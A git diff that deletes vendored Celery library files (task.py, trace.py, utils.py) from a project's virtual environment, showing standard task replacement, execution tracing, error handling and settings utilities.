self.app.events.default_dispatcher(hostname=req.hostname) as d: - return d.send( - type_, - uuid=req.id, retry=retry, retry_policy=retry_policy, **fields) - - def replace(self, sig): - """Replace this task, with a new task inheriting the task id. - - Execution of the host task ends immediately and no subsequent statements - will be run. - - .. versionadded:: 4.0 - - Arguments: - sig (Signature): signature to replace with. - visitor (StampingVisitor): Visitor API object. - - Raises: - ~@Ignore: This is always raised when called in asynchronous context. - It is best to always use ``return self.replace(...)`` to convey - to the reader that the task won't continue after being replaced. - """ - chord = self.request.chord - if 'chord' in sig.options: - raise ImproperlyConfigured( - "A signature replacing a task must not be part of a chord" - ) - if isinstance(sig, _chain) and not getattr(sig, "tasks", True): - raise ImproperlyConfigured("Cannot replace with an empty chain") - - # Ensure callbacks or errbacks from the replaced signature are retained - if isinstance(sig, group): - # Groups get uplifted to a chord so that we can link onto the body - sig |= self.app.tasks['celery.accumulate'].s(index=0) - for callback in maybe_list(self.request.callbacks) or []: - sig.link(callback) - for errback in maybe_list(self.request.errbacks) or []: - sig.link_error(errback) - # If the replacement signature is a chain, we need to push callbacks - # down to the final task so they run at the right time even if we - # proceed to link further tasks from the original request below - if isinstance(sig, _chain) and "link" in sig.options: - final_task_links = sig.tasks[-1].options.setdefault("link", []) - final_task_links.extend(maybe_list(sig.options["link"])) - # We need to freeze the replacement signature with the current task's - # ID to ensure that we don't disassociate it from the existing task IDs - # which would break previously constructed results objects. - sig.freeze(self.request.id) - # Ensure the important options from the original signature are retained - replaced_task_nesting = self.request.get('replaced_task_nesting', 0) + 1 - sig.set( - chord=chord, - group_id=self.request.group, - group_index=self.request.group_index, - root_id=self.request.root_id, - replaced_task_nesting=replaced_task_nesting - ) - - # If the replaced task is a chain, we want to set all of the chain tasks - # with the same replaced_task_nesting value to mark their replacement nesting level - if isinstance(sig, _chain): - for chain_task in maybe_list(sig.tasks) or []: - chain_task.set(replaced_task_nesting=replaced_task_nesting) - - # If the task being replaced is part of a chain, we need to re-create - # it with the replacement signature - these subsequent tasks will - # retain their original task IDs as well - for t in reversed(self.request.chain or []): - chain_task = signature(t, app=self.app) - chain_task.set(replaced_task_nesting=replaced_task_nesting) - sig |= chain_task - return self.on_replace(sig) - - def add_to_chord(self, sig, lazy=False): - """Add signature to the chord the current task is a member of. - - .. versionadded:: 4.0 - - Currently only supported by the Redis result backend. - - Arguments: - sig (Signature): Signature to extend chord with. - lazy (bool): If enabled the new task won't actually be called, - and ``sig.delay()`` must be called manually. - """ - if not self.request.chord: - raise ValueError('Current task is not member of any chord') - sig.set( - group_id=self.request.group, - group_index=self.request.group_index, - chord=self.request.chord, - root_id=self.request.root_id, - ) - result = sig.freeze() - self.backend.add_to_chord(self.request.group, result) - return sig.delay() if not lazy else sig - - def update_state(self, task_id=None, state=None, meta=None, **kwargs): - """Update task state. - - Arguments: - task_id (str): Id of the task to update. - Defaults to the id of the current task. - state (str): New state. - meta (Dict): State meta-data. - """ - if task_id is None: - task_id = self.request.id - self.backend.store_result( - task_id, meta, state, request=self.request, **kwargs) - - def before_start(self, task_id, args, kwargs): - """Handler called before the task starts. - - .. versionadded:: 5.2 - - Arguments: - task_id (str): Unique id of the task to execute. - args (Tuple): Original arguments for the task to execute. - kwargs (Dict): Original keyword arguments for the task to execute. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_success(self, retval, task_id, args, kwargs): - """Success handler. - - Run by the worker if the task executes successfully. - - Arguments: - retval (Any): The return value of the task. - task_id (str): Unique id of the executed task. - args (Tuple): Original arguments for the executed task. - kwargs (Dict): Original keyword arguments for the executed task. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_retry(self, exc, task_id, args, kwargs, einfo): - """Retry handler. - - This is run by the worker when the task is to be retried. - - Arguments: - exc (Exception): The exception sent to :meth:`retry`. - task_id (str): Unique id of the retried task. - args (Tuple): Original arguments for the retried task. - kwargs (Dict): Original keyword arguments for the retried task. - einfo (~billiard.einfo.ExceptionInfo): Exception information. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_failure(self, exc, task_id, args, kwargs, einfo): - """Error handler. - - This is run by the worker when the task fails. - - Arguments: - exc (Exception): The exception raised by the task. - task_id (str): Unique id of the failed task. - args (Tuple): Original arguments for the task that failed. - kwargs (Dict): Original keyword arguments for the task that failed. - einfo (~billiard.einfo.ExceptionInfo): Exception information. - - Returns: - None: The return value of this handler is ignored. - """ - - def after_return(self, status, retval, task_id, args, kwargs, einfo): - """Handler called after the task returns. - - Arguments: - status (str): Current task state. - retval (Any): Task return value/exception. - task_id (str): Unique id of the task. - args (Tuple): Original arguments for the task. - kwargs (Dict): Original keyword arguments for the task. - einfo (~billiard.einfo.ExceptionInfo): Exception information. - - Returns: - None: The return value of this handler is ignored. - """ - - def on_replace(self, sig): - """Handler called when the task is replaced. - - Must return super().on_replace(sig) when overriding to ensure the task replacement - is properly handled. - - .. versionadded:: 5.3 - - Arguments: - sig (Signature): signature to replace with. - """ - # Finally, either apply or delay the new signature! - if self.request.is_eager: - return sig.apply().get() - else: - sig.delay() - raise Ignore('Replaced by new task') - - def add_trail(self, result): - if self.trail: - self.request.children.append(result) - return result - - def push_request(self, *args, **kwargs): - self.request_stack.push(Context(*args, **{**self.request.__dict__, **kwargs})) - - def pop_request(self): - self.request_stack.pop() - - def __repr__(self): - """``repr(task)``.""" - return _reprtask(self, R_INSTANCE) - - def _get_request(self): - """Get current request object.""" - req = self.request_stack.top - if req is None: - # task was not called, but some may still expect a request - # to be there, perhaps that should be deprecated. - if self._default_request is None: - self._default_request = Context() - return self._default_request - return req - request = property(_get_request) - - def _get_exec_options(self): - if self._exec_options is None: - self._exec_options = extract_exec_options(self) - return self._exec_options - - @property - def backend(self): # noqa: F811 - backend = self._backend - if backend is None: - return self.app.backend - return backend - - @backend.setter - def backend(self, value): - self._backend = value - - @property - def __name__(self): - return self.__class__.__name__ - - -BaseTask = Task # XXX compat alias diff --git a/venv/Lib/site-packages/celery/app/trace.py b/venv/Lib/site-packages/celery/app/trace.py deleted file mode 100644 index 0641415c2363586e829fbcb30cfa2ab329088d10..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/trace.py +++ /dev/null @@ -1,861 +0,0 @@ -"""Trace task execution. - -This module defines how the task execution is traced: -errors are recorded, handlers are applied and so on. -""" -import logging -import os -import sys -import time -from collections import namedtuple -from warnings import warn - -from billiard.einfo import ExceptionInfo, ExceptionWithTraceback -from kombu.exceptions import EncodeError -from kombu.serialization import loads as loads_message -from kombu.serialization import prepare_accept_content -from kombu.utils.encoding import safe_repr, safe_str - -from celery import current_app, group, signals, states -from celery._state import _task_stack -from celery.app.task import Context -from celery.app.task import Task as BaseTask -from celery.exceptions import BackendGetMetaError, Ignore, InvalidTaskError, Reject, Retry -from celery.result import AsyncResult -from celery.utils.log import get_logger -from celery.utils.nodenames import gethostname -from celery.utils.objects import mro_lookup -from celery.utils.saferepr import saferepr -from celery.utils.serialization import get_pickleable_etype, get_pickleable_exception, get_pickled_exception - -# ## --- -# This is the heart of the worker, the inner loop so to speak. -# It used to be split up into nice little classes and methods, -# but in the end it only resulted in bad performance and horrible tracebacks, -# so instead we now use one closure per task class. - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. -# pylint: disable=broad-except -# We know what we're doing... - - -__all__ = ( - 'TraceInfo', 'build_tracer', 'trace_task', - 'setup_worker_optimizations', 'reset_worker_optimizations', -) - -from celery.worker.state import successful_requests - -logger = get_logger(__name__) - -#: Format string used to log task receipt. -LOG_RECEIVED = """\ -Task %(name)s[%(id)s] received\ -""" - -#: Format string used to log task success. -LOG_SUCCESS = """\ -Task %(name)s[%(id)s] succeeded in %(runtime)ss: %(return_value)s\ -""" - -#: Format string used to log task failure. -LOG_FAILURE = """\ -Task %(name)s[%(id)s] %(description)s: %(exc)s\ -""" - -#: Format string used to log task internal error. -LOG_INTERNAL_ERROR = """\ -Task %(name)s[%(id)s] %(description)s: %(exc)s\ -""" - -#: Format string used to log task ignored. -LOG_IGNORED = """\ -Task %(name)s[%(id)s] %(description)s\ -""" - -#: Format string used to log task rejected. -LOG_REJECTED = """\ -Task %(name)s[%(id)s] %(exc)s\ -""" - -#: Format string used to log task retry. -LOG_RETRY = """\ -Task %(name)s[%(id)s] retry: %(exc)s\ -""" - -log_policy_t = namedtuple( - 'log_policy_t', - ('format', 'description', 'severity', 'traceback', 'mail'), -) - -log_policy_reject = log_policy_t(LOG_REJECTED, 'rejected', logging.WARN, 1, 1) -log_policy_ignore = log_policy_t(LOG_IGNORED, 'ignored', logging.INFO, 0, 0) -log_policy_internal = log_policy_t( - LOG_INTERNAL_ERROR, 'INTERNAL ERROR', logging.CRITICAL, 1, 1, -) -log_policy_expected = log_policy_t( - LOG_FAILURE, 'raised expected', logging.INFO, 0, 0, -) -log_policy_unexpected = log_policy_t( - LOG_FAILURE, 'raised unexpected', logging.ERROR, 1, 1, -) - -send_prerun = signals.task_prerun.send -send_postrun = signals.task_postrun.send -send_success = signals.task_success.send -STARTED = states.STARTED -SUCCESS = states.SUCCESS -IGNORED = states.IGNORED -REJECTED = states.REJECTED -RETRY = states.RETRY -FAILURE = states.FAILURE -EXCEPTION_STATES = states.EXCEPTION_STATES -IGNORE_STATES = frozenset({IGNORED, RETRY, REJECTED}) - -#: set by :func:`setup_worker_optimizations` -_localized = [] -_patched = {} - -trace_ok_t = namedtuple('trace_ok_t', ('retval', 'info', 'runtime', 'retstr')) - - -def info(fmt, context): - """Log 'fmt % context' with severity 'INFO'. - - 'context' is also passed in extra with key 'data' for custom handlers. - """ - logger.info(fmt, context, extra={'data': context}) - - -def task_has_custom(task, attr): - """Return true if the task overrides ``attr``.""" - return mro_lookup(task.__class__, attr, stop={BaseTask, object}, - monkey_patched=['celery.app.task']) - - -def get_log_policy(task, einfo, exc): - if isinstance(exc, Reject): - return log_policy_reject - elif isinstance(exc, Ignore): - return log_policy_ignore - elif einfo.internal: - return log_policy_internal - else: - if task.throws and isinstance(exc, task.throws): - return log_policy_expected - return log_policy_unexpected - - -def get_task_name(request, default): - """Use 'shadow' in request for the task name if applicable.""" - # request.shadow could be None or an empty string. - # If so, we should use default. - return getattr(request, 'shadow', None) or default - - -def get_actual_ignore_result(task, req): - """Return the effective ignore_result, with request overriding task. - - If req provides an explicit ignore_result, that value is used; - otherwise task.ignore_result is returned. - """ - if req is None: - return task.ignore_result - - actual = getattr(req, 'ignore_result', None) - - # Context defines `ignore_result = False` at class level (see Context - # in celery/app/task.py). getattr() above would return the class default - # (False) even when the request never set it explicitly, making it - # impossible to distinguish "override=False" from "not set". We check - # __dict__ to detect only instance-level (i.e., explicitly set) values. - if isinstance(req, Context) and 'ignore_result' not in req.__dict__: - actual = None - - return actual if actual is not None else task.ignore_result - - -class TraceInfo: - """Information about task execution.""" - - __slots__ = ('state', 'retval') - - def __init__(self, state, retval=None): - self.state = state - self.retval = retval - - def handle_error_state(self, task, req, - eager=False, call_errbacks=True): - ignore_result = get_actual_ignore_result(task, req) - - if ignore_result: - store_errors = task.store_errors_even_if_ignored - elif eager and task.store_eager_result: - store_errors = True - else: - store_errors = not eager - - return { - RETRY: self.handle_retry, - FAILURE: self.handle_failure, - }[self.state](task, req, - store_errors=store_errors, - call_errbacks=call_errbacks) - - def handle_reject(self, task, req, **kwargs): - self._log_error(task, req, ExceptionInfo()) - - def handle_ignore(self, task, req, **kwargs): - self._log_error(task, req, ExceptionInfo()) - - def handle_retry(self, task, req, store_errors=True, **kwargs): - """Handle retry exception.""" - # the exception raised is the Retry semi-predicate, - # and it's exc' attribute is the original exception raised (if any). - type_, _, tb = sys.exc_info() - einfo = None - try: - reason = self.retval - einfo = ExceptionInfo((type_, reason, tb)) - if store_errors: - task.backend.mark_as_retry( - req.id, reason.exc, einfo.traceback, request=req, - ) - task.on_retry(reason.exc, req.id, req.args, req.kwargs, einfo) - signals.task_retry.send(sender=task, request=req, - reason=reason, einfo=einfo) - info(LOG_RETRY, { - 'id': req.id, - 'name': get_task_name(req, task.name), - 'exc': str(reason), - }) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(einfo.exception) - return einfo - finally: - # MEMORY LEAK FIX: Clean up direct traceback reference to prevent - # retention of frame objects and their local variables (Issue #8882) - if tb is not None: - del tb - - def handle_failure(self, task, req, store_errors=True, call_errbacks=True): - """Handle exception.""" - orig_exc = self.retval - tb_ref = None - - try: - exc = get_pickleable_exception(orig_exc) - if exc.__traceback__ is None: - # `get_pickleable_exception` may have created a new exception without - # a traceback. - _, _, tb_ref = sys.exc_info() - exc.__traceback__ = tb_ref - - exc_type = get_pickleable_etype(type(orig_exc)) - - # make sure we only send pickleable exceptions back to parent. - einfo = ExceptionInfo(exc_info=(exc_type, exc, exc.__traceback__)) - - task.backend.mark_as_failure( - req.id, exc, einfo.traceback, - request=req, store_result=store_errors, - call_errbacks=call_errbacks, - ) - - task.on_failure(exc, req.id, req.args, req.kwargs, einfo) - signals.task_failure.send(sender=task, task_id=req.id, - exception=exc, args=req.args, - kwargs=req.kwargs, - traceback=exc.__traceback__, - einfo=einfo) - self._log_error(task, req, einfo) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(exc) - # Note: We return einfo, so we can't clean it up here - # The calling function is responsible for cleanup - return einfo - finally: - # MEMORY LEAK FIX: Clean up any direct traceback references we may have created - # to prevent retention of frame objects and their local variables (Issue #8882) - if tb_ref is not None: - del tb_ref - - def _log_error(self, task, req, einfo): - eobj = einfo.exception = get_pickled_exception(einfo.exception) - if isinstance(eobj, ExceptionWithTraceback): - eobj = einfo.exception = eobj.exc - exception, traceback, exc_info, sargs, skwargs = ( - safe_repr(eobj), - safe_str(einfo.traceback), - einfo.exc_info, - req.get('argsrepr') or safe_repr(req.args), - req.get('kwargsrepr') or safe_repr(req.kwargs), - ) - policy = get_log_policy(task, einfo, eobj) - - context = { - 'hostname': req.hostname, - 'id': req.id, - 'name': get_task_name(req, task.name), - 'exc': exception, - 'traceback': traceback, - 'args': sargs, - 'kwargs': skwargs, - 'description': policy.description, - 'internal': einfo.internal, - } - - logger.log(policy.severity, policy.format.strip(), context, - exc_info=exc_info if policy.traceback else None, - extra={'data': context}) - - -def traceback_clear(exc=None): - """Clear traceback frames to prevent memory leaks. - - MEMORY LEAK FIX: This function helps break reference cycles between - traceback objects and frame objects that can prevent garbage collection. - Clearing frames releases local variables that may be holding large objects. - """ - # Cleared Tb, but einfo still has a reference to Traceback. - # exc cleans up the Traceback at the last moment that can be revealed. - tb = None - if exc is not None: - if hasattr(exc, '__traceback__'): - tb = exc.__traceback__ - else: - _, _, tb = sys.exc_info() - else: - _, _, tb = sys.exc_info() - - while tb is not None: - try: - # MEMORY LEAK FIX: tb.tb_frame.clear() clears ALL frame data including - # local variables, which is more efficient than accessing f_locals separately. - # Removed redundant tb.tb_frame.f_locals access that was creating unnecessary references. - tb.tb_frame.clear() - except RuntimeError: - # Ignore the exception raised if the frame is still executing. - pass - tb = tb.tb_next - - -def build_tracer(name, task, loader=None, hostname=None, store_errors=True, - Info=TraceInfo, eager=False, propagate=False, app=None, - monotonic=time.monotonic, trace_ok_t=trace_ok_t, - IGNORE_STATES=IGNORE_STATES): - """Return a function that traces task execution. - - Catches all exceptions and updates result backend with the - state and result. - - If the call was successful, it saves the result to the task result - backend, and sets the task status to `"SUCCESS"`. - - If the call raises :exc:`~@Retry`, it extracts - the original exception, uses that as the result and sets the task state - to `"RETRY"`. - - If the call results in an exception, it saves the exception as the task - result, and sets the task state to `"FAILURE"`. - - Return a function that takes the following arguments: - - :param uuid: The id of the task. - :param args: List of positional args to pass on to the function. - :param kwargs: Keyword arguments mapping to pass on to the function. - :keyword request: Request dict. - - """ - - # pylint: disable=too-many-statements - - # If the task doesn't define a custom __call__ method - # we optimize it away by simply calling the run method directly, - # saving the extra method call and a line less in the stack trace. - fun = task if task_has_custom(task, '__call__') else task.run - - loader = loader or app.loader - deduplicate_successful_tasks = ((app.conf.task_acks_late or task.acks_late) - and app.conf.worker_deduplicate_successful_tasks - and app.backend.persistent) - - hostname = hostname or gethostname() - inherit_parent_priority = app.conf.task_inherit_parent_priority - - loader_task_init = loader.on_task_init - loader_cleanup = loader.on_process_cleanup - - task_before_start = None - task_on_success = None - task_after_return = None - if task_has_custom(task, 'before_start'): - task_before_start = task.before_start - if task_has_custom(task, 'on_success'): - task_on_success = task.on_success - if task_has_custom(task, 'after_return'): - task_after_return = task.after_return - - pid = os.getpid() - - request_stack = task.request_stack - push_request = request_stack.push - pop_request = request_stack.pop - push_task = _task_stack.push - pop_task = _task_stack.pop - _does_info = logger.isEnabledFor(logging.INFO) - resultrepr_maxsize = task.resultrepr_maxsize - - prerun_receivers = signals.task_prerun.receivers - postrun_receivers = signals.task_postrun.receivers - success_receivers = signals.task_success.receivers - - from celery import canvas - signature = canvas.maybe_signature # maybe_ does not clone if already - - def on_error(request, exc, state=FAILURE, call_errbacks=True): - if propagate: - raise - I = Info(state, exc) - R = I.handle_error_state( - task, request, eager=eager, call_errbacks=call_errbacks, - ) - return I, R, I.state, I.retval - - def _dispatch_callbacks_and_chain( - retval, callbacks, chain, parent_id, root_id, priority, - ): - """Dispatch callbacks and chain for a completed task. - - Dispatches link callbacks and then the next chain step. - Does NOT fire task lifecycle signals (on_success, task_postrun) - or call mark_as_done — callers handle those separately. - - Note: dispatch is not atomic. If callbacks succeed but the - chain step fails (or vice-versa), a Reject + redeliver may - re-dispatch the already-sent callbacks. This is acceptable - under Celery's at-least-once delivery model. - """ - if callbacks: - if len(callbacks) > 1: - sigs, groups = [], [] - for sig in callbacks: - sig = signature(sig, app=app) - if isinstance(sig, group): - groups.append(sig) - else: - sigs.append(sig) - for group_ in groups: - group_.apply_async( - (retval,), - parent_id=parent_id, root_id=root_id, - priority=priority, - ) - if sigs: - group(sigs, app=app).apply_async( - (retval,), - parent_id=parent_id, root_id=root_id, - priority=priority, - ) - else: - signature(callbacks[0], app=app).apply_async( - (retval,), - parent_id=parent_id, root_id=root_id, - priority=priority, - ) - if chain: - _chsig = signature(chain[-1], app=app) - _chsig.apply_async( - (retval,), chain=chain[:-1], - parent_id=parent_id, root_id=root_id, - priority=priority, - ) - - def trace_task(uuid, args, kwargs, request=None): - # R - is the possibly prepared return value. - # I - is the Info object. - # T - runtime - # Rstr - textual representation of return value - # retval - is the always unmodified return value. - # state - is the resulting task state. - - # This function is very long because we've unrolled all the calls - # for performance reasons, and because the function is so long - # we want the main variables (I, and R) to stand out visually from the - # the rest of the variables, so breaking PEP8 is worth it ;) - R = I = T = Rstr = retval = state = None - task_request = None - time_start = monotonic() - try: - try: - kwargs.items - except AttributeError: - raise InvalidTaskError( - 'Task keyword arguments is not a mapping') - - task_request = Context(request or {}, args=args, - called_directly=False, kwargs=kwargs) - - ignore_result = get_actual_ignore_result(task, task_request) - track_started = not eager and (task.track_started and not ignore_result) - # #6476 - if eager and not ignore_result and task.store_eager_result: - publish_result = True - else: - publish_result = not eager and not ignore_result - - redelivered = (task_request.delivery_info - and task_request.delivery_info.get('redelivered', False)) - if deduplicate_successful_tasks and redelivered: - if task_request.id in successful_requests: - return trace_ok_t(R, I, T, Rstr) - r = AsyncResult(task_request.id, app=app) - - try: - state = r.state - except BackendGetMetaError: - pass - else: - if state == SUCCESS: - info(LOG_IGNORED, { - 'id': task_request.id, - 'name': get_task_name(task_request, name), - 'description': 'Task already completed successfully.' - }) - _root_id = task_request.root_id or uuid - _priority = task_request.delivery_info.get('priority') if \ - inherit_parent_priority else None - try: - _meta = r._get_task_meta() - stored_retval = _meta.get('result') - # Children are populated by mark_as_done on the - # original execution. If present, callbacks were - # already dispatched — skip to avoid duplicates. - # Requires the backend to persist extended result - # metadata (result_extended=True). - _children = _meta.get('children') - _callbacks = task_request.callbacks - _chain = task_request.chain - if (_callbacks or _chain) and not _children: - _dispatch_callbacks_and_chain( - stored_retval, _callbacks, _chain, - parent_id=uuid, root_id=_root_id, - priority=_priority, - ) - successful_requests.add(task_request.id) - except MemoryError: - raise - except Exception as exc: - # Permanent failures (malformed signature, etc.) - # will requeue indefinitely. Broker-level - # dead-letter / max-delivery-count policies are - # the intended circuit-breaker. - logger.error( - 'Failed to dispatch chain/callbacks for ' - 'deduplicated task %s', - task_request.id, - exc_info=True, - ) - raise Reject(exc, requeue=True) - return trace_ok_t(R, I, T, Rstr) - - push_task(task) - root_id = task_request.root_id or uuid - task_priority = task_request.delivery_info.get('priority') if \ - inherit_parent_priority else None - push_request(task_request) - try: - # -*- PRE -*- - if prerun_receivers: - send_prerun(sender=task, task_id=uuid, task=task, - args=args, kwargs=kwargs) - loader_task_init(uuid, task) - if track_started: - task.backend.store_result( - uuid, {'pid': pid, 'hostname': hostname}, STARTED, - request=task_request, - ) - - # -*- TRACE -*- - try: - if task_before_start: - task_before_start(uuid, args, kwargs) - - R = retval = fun(*args, **kwargs) - state = SUCCESS - except Reject as exc: - I, R = Info(REJECTED, exc), ExceptionInfo(internal=True) - state, retval = I.state, I.retval - I.handle_reject(task, task_request) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(exc) - except Ignore as exc: - I, R = Info(IGNORED, exc), ExceptionInfo(internal=True) - state, retval = I.state, I.retval - I.handle_ignore(task, task_request) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(exc) - except Retry as exc: - I, R, state, retval = on_error( - task_request, exc, RETRY, call_errbacks=False) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(exc) - except Exception as exc: - I, R, state, retval = on_error(task_request, exc) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(exc) - except BaseException: - raise - else: - try: - # callback tasks must be applied before the result is - # stored, so that result.children is populated. - - # groups are called inline and will store trail - # separately, so need to call them separately - # so that the trail's not added multiple times :( - # (Issue #1936) - _dispatch_callbacks_and_chain( - retval, task.request.callbacks, - task_request.chain, - parent_id=uuid, root_id=root_id, - priority=task_priority, - ) - task.backend.mark_as_done( - uuid, retval, task_request, publish_result, - ) - except EncodeError as exc: - I, R, state, retval = on_error(task_request, exc) - # MEMORY LEAK FIX: Clear traceback frames to prevent memory retention (Issue #8882) - traceback_clear(exc) - else: - Rstr = saferepr(R, resultrepr_maxsize) - T = monotonic() - time_start - if task_on_success: - task_on_success(retval, uuid, args, kwargs) - if success_receivers: - send_success(sender=task, result=retval) - if _does_info: - info(LOG_SUCCESS, { - 'id': uuid, - 'name': get_task_name(task_request, name), - 'return_value': Rstr, - 'runtime': T, - 'args': task_request.get('argsrepr') or safe_repr(args), - 'kwargs': task_request.get('kwargsrepr') or safe_repr(kwargs), - }) - - # -* POST *- - if state not in IGNORE_STATES: - if task_after_return: - task_after_return( - state, retval, uuid, args, kwargs, None, - ) - finally: - try: - if postrun_receivers: - send_postrun(sender=task, task_id=uuid, task=task, - args=args, kwargs=kwargs, - retval=retval, state=state) - finally: - pop_task() - pop_request() - if not eager: - try: - task.backend.process_cleanup() - loader_cleanup() - except (KeyboardInterrupt, SystemExit, MemoryError): - raise - except Exception as exc: - logger.error('Process cleanup failed: %r', exc, - exc_info=True) - except MemoryError: - raise - except Reject: - raise - except Exception as exc: - _signal_internal_error(task, uuid, args, kwargs, request, exc) - if eager: - raise - R = report_internal_error(task, exc) - if task_request is not None: - I, _, _, _ = on_error(task_request, exc) - return trace_ok_t(R, I, T, Rstr) - - return trace_task - - -def trace_task(task, uuid, args, kwargs, request=None, **opts): - """Trace task execution.""" - request = {} if not request else request - try: - if task.__trace__ is None: - task.__trace__ = build_tracer(task.name, task, **opts) - return task.__trace__(uuid, args, kwargs, request) - except Reject: - raise - except Exception as exc: - _signal_internal_error(task, uuid, args, kwargs, request, exc) - return trace_ok_t(report_internal_error(task, exc), TraceInfo(FAILURE, exc), 0.0, None) - - -def _signal_internal_error(task, uuid, args, kwargs, request, exc): - """Send a special `internal_error` signal to the app for outside body errors.""" - tb = None - einfo = None - try: - _, _, tb = sys.exc_info() - einfo = ExceptionInfo() - einfo.exception = get_pickleable_exception(einfo.exception) - einfo.type = get_pickleable_etype(einfo.type) - signals.task_internal_error.send( - sender=task, - task_id=uuid, - args=args, - kwargs=kwargs, - request=request, - exception=exc, - traceback=tb, - einfo=einfo, - ) - finally: - # MEMORY LEAK FIX: Clean up local references to prevent memory leaks (Issue #8882) - # Both 'tb' and 'einfo' can hold references to frame objects and their local variables. - # Explicitly clearing these prevents reference cycles that block garbage collection. - if tb is not None: - del tb - if einfo is not None: - # Clear traceback frames to ensure consistent cleanup - traceback_clear(einfo.exception) - # Break potential reference cycles by deleting the einfo object - del einfo - - -def trace_task_ret(name, uuid, request, body, content_type, - content_encoding, loads=loads_message, app=None, - **extra_request): - app = app or current_app._get_current_object() - embed = None - if content_type: - accept = prepare_accept_content(app.conf.accept_content) - args, kwargs, embed = loads( - body, content_type, content_encoding, accept=accept, - ) - else: - args, kwargs, embed = body - hostname = gethostname() - request.update({ - 'args': args, 'kwargs': kwargs, - 'hostname': hostname, 'is_eager': False, - }, **embed or {}) - R, I, T, Rstr = trace_task(app.tasks[name], - uuid, args, kwargs, request, app=app) - return (1, R, T) if I else (0, Rstr, T) - - -def fast_trace_task(task, uuid, request, body, content_type, - content_encoding, loads=loads_message, _loc=None, - hostname=None, **_): - _loc = _localized if not _loc else _loc - embed = None - tasks, accept, hostname = _loc - if content_type: - args, kwargs, embed = loads( - body, content_type, content_encoding, accept=accept, - ) - else: - args, kwargs, embed = body - request.update({ - 'args': args, 'kwargs': kwargs, - 'hostname': hostname, 'is_eager': False, - }, **embed or {}) - R, I, T, Rstr = tasks[task].__trace__( - uuid, args, kwargs, request, - ) - return (1, R, T) if I else (0, Rstr, T) - - -def report_internal_error(task, exc): - _type, _value, _tb = sys.exc_info() - try: - _value = task.backend.prepare_exception(exc, 'pickle') - exc_info = ExceptionInfo((_type, _value, _tb), internal=True) - warn(RuntimeWarning( - 'Exception raised outside body: {!r}:\n{}'.format( - exc, exc_info.traceback))) - return exc_info - finally: - del _tb - - -def setup_worker_optimizations(app, hostname=None): - """Setup worker related optimizations.""" - hostname = hostname or gethostname() - - # make sure custom Task.__call__ methods that calls super - # won't mess up the request/task stack. - _install_stack_protection() - - # all new threads start without a current app, so if an app is not - # passed on to the thread it will fall back to the "default app", - # which then could be the wrong app. So for the worker - # we set this to always return our app. This is a hack, - # and means that only a single app can be used for workers - # running in the same process. - app.set_current() - app.set_default() - - # evaluate all task classes by finalizing the app. - app.finalize() - - # set fast shortcut to task registry - _localized[:] = [ - app._tasks, - prepare_accept_content(app.conf.accept_content), - hostname, - ] - - app.use_fast_trace_task = True - - -def reset_worker_optimizations(app=current_app): - """Reset previously configured optimizations.""" - try: - delattr(BaseTask, '_stackprotected') - except AttributeError: - pass - try: - BaseTask.__call__ = _patched.pop('BaseTask.__call__') - except KeyError: - pass - app.use_fast_trace_task = False - - -def _install_stack_protection(): - # Patches BaseTask.__call__ in the worker to handle the edge case - # where people override it and also call super. - # - # - The worker optimizes away BaseTask.__call__ and instead - # calls task.run directly. - # - so with the addition of current_task and the request stack - # BaseTask.__call__ now pushes to those stacks so that - # they work when tasks are called directly. - # - # The worker only optimizes away __call__ in the case - # where it hasn't been overridden, so the request/task stack - # will blow if a custom task class defines __call__ and also - # calls super(). - if not getattr(BaseTask, '_stackprotected', False): - _patched['BaseTask.__call__'] = orig = BaseTask.__call__ - - def __protected_call__(self, *args, **kwargs): - stack = self.request_stack - req = stack.top - if req and not req._protected and \ - len(stack) == 1 and not req.called_directly: - req._protected = 1 - return self.run(*args, **kwargs) - return orig(self, *args, **kwargs) - BaseTask.__call__ = __protected_call__ - BaseTask._stackprotected = True diff --git a/venv/Lib/site-packages/celery/app/utils.py b/venv/Lib/site-packages/celery/app/utils.py deleted file mode 100644 index da2ee66a07116f01982fe7bc86c9eb441ca3c909..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/utils.py +++ /dev/null @@ -1,415 +0,0 @@ -"""App utilities: Compat settings, bug-report tool, pickling apps.""" -import os -import platform as _platform -import re -from collections import namedtuple -from collections.abc import Mapping -from copy import deepcopy -from types import ModuleType - -from kombu.utils.url import maybe_sanitize_url - -from celery.exceptions import ImproperlyConfigured -from celery.platforms import pyimplementation -from celery.utils.collections import ConfigurationView -from celery.utils.imports import import_from_cwd, qualname, symbol_by_name -from celery.utils.text import pretty - -from .defaults import _OLD_DEFAULTS, _OLD_SETTING_KEYS, _TO_NEW_KEY, _TO_OLD_KEY, DEFAULTS, SETTING_KEYS, find - -__all__ = ( - 'Settings', 'appstr', 'bugreport', - 'filter_hidden_settings', 'find_app', -) - -#: Format used to generate bug-report information. -BUGREPORT_INFO = """ -software -> celery:{celery_v} kombu:{kombu_v} py:{py_v} - billiard:{billiard_v} {driver_v} -platform -> system:{system} arch:{arch} - kernel version:{kernel_version} imp:{py_i} -loader -> {loader} -settings -> transport:{transport} results:{results} - -{human_settings} -""" - -HIDDEN_SETTINGS = re.compile( - 'API|TOKEN|KEY|SECRET|PASS|PROFANITIES_LIST|SIGNATURE|DATABASE|BEAT_DBURI', - re.IGNORECASE, -) - -E_MIX_OLD_INTO_NEW = """ - -Cannot mix new and old setting keys, please rename the -following settings to the new format: - -{renames} - -""" - -E_MIX_NEW_INTO_OLD = """ - -Cannot mix new setting names with old setting names, please -rename the following settings to use the old format: - -{renames} - -Or change all of the settings to use the new format :) - -""" - -FMT_REPLACE_SETTING = '{replace:<36} -> {with_}' - - -def appstr(app): - """String used in __repr__ etc, to id app instances.""" - return f'{app.main or "__main__"} at {id(app):#x}' - - -class Settings(ConfigurationView): - """Celery settings object. 